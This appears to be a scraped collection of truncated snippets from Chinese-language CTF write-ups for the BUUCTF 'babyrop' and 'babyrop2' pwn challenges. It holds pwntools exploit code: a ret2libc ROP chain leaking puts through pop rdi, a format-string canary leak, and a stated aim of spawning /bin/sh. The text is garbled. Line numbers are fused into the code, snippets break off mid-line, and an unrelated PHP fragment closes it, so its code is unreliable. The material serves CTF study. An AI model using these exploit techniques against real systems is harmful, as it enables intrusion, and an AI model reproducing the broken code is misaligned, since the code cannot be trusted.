context(os='linux',arch='i386', log_level = 'debug') #p=process('./bjdctf_2020_babyrop') elf=ELF('./bjdctf_2020_babyrop') p=remote('node4.buuoj.cn', 28430) pop_rdi_addr=0x0000000000400733 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] p.recvuntil(b"story!\n") main_ad...
from pwn import* p=remote('node4.buuoj.cn',25243) elf=ELF('./babyrop') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] pop_rdi=0x400733ret=0x4004c9main=0x4006adp.recvuntil('story!\n') payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlin...
贴一下完整的exp: 1frompwnimport*2importtime34p = process('./bjdctf_2020_babyrop2')5elf = ELF('./bjdctf_2020_babyrop2')6context.log_level ='debug'78p.recv()9payload ='%7$p'10p.sendline(payload)11p.recvuntil('0x')12cancry = int(p.recv(16),16)1314puts_plt = 0x040061015puts_go...
bjdctf_2020_babyrop来自BUUCTF 这是一道64位的ret2libc和“铁人三项(第五赛区)_2018_rop来自BUUCTF”是一个类型的题目不过payload的构造有一点差别。因为在64位程序中函数的前六个参数保存在寄存器中第七个参数保存在栈中。而在32位程序中函数的参数保存在栈中。 这两个题正好一样的题型但是略有差别。 这是主...
0x03 babyrop 考点:ret2libc,无libc文件如何查找版本 直接看漏洞函数 ssize_t vuln() { char buf; // [rsp+0h] [rbp-20h] puts("Pull up your sword and tell me u story!"); return read(0, &buf, 0x64uLL); } 可以用puts函数泄露libc基址,之后控制程序回到vuln函数调用system("/bin/sh")函...
0x05 babyrop2 在ret2libc的基础上增加了canary保护 考点:泄露canary 首先看下gift函数 unsigned __int64 gift() { char format; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("I'll give u some gift to help u!"); __isoc99...
bjdctf_2020_babyrop2 1.ida分析 有个字符串格式化漏洞,应该是利用这个漏洞泄露出canary的值。 存在栈溢出漏洞。 2.checksec 3.解决 exp参考:https://blog.csdn.net/qq_44768749/article/details/108248798 frompwnimport*fromLibcSearcherimport*context.log_level='debug'p=remote('node4.buuoj.cn',25138)#p=...
bjdctf_2020_babyrop2 1.ida分析 有个字符串格式化漏洞,应该是利用这个漏洞泄露出canary的值。 存在栈溢出漏洞。 2.checksec 3.解决 from pwn import * from LibcSearcher import * context.log_level='debug' p=remote('node4.buuoj.cn',25138)
21. 22. 23. 24. 25. 26. 27. 可以看到有三个有输出的exit: exit($handsome);exit($yds);exit($is); 1. 2. 3. 而在初始化中,存在dog,猜测上面网页源代码输出的正是$yds $yds= "dog";$is= "cat";$handsome= 'yds'; 1. 2.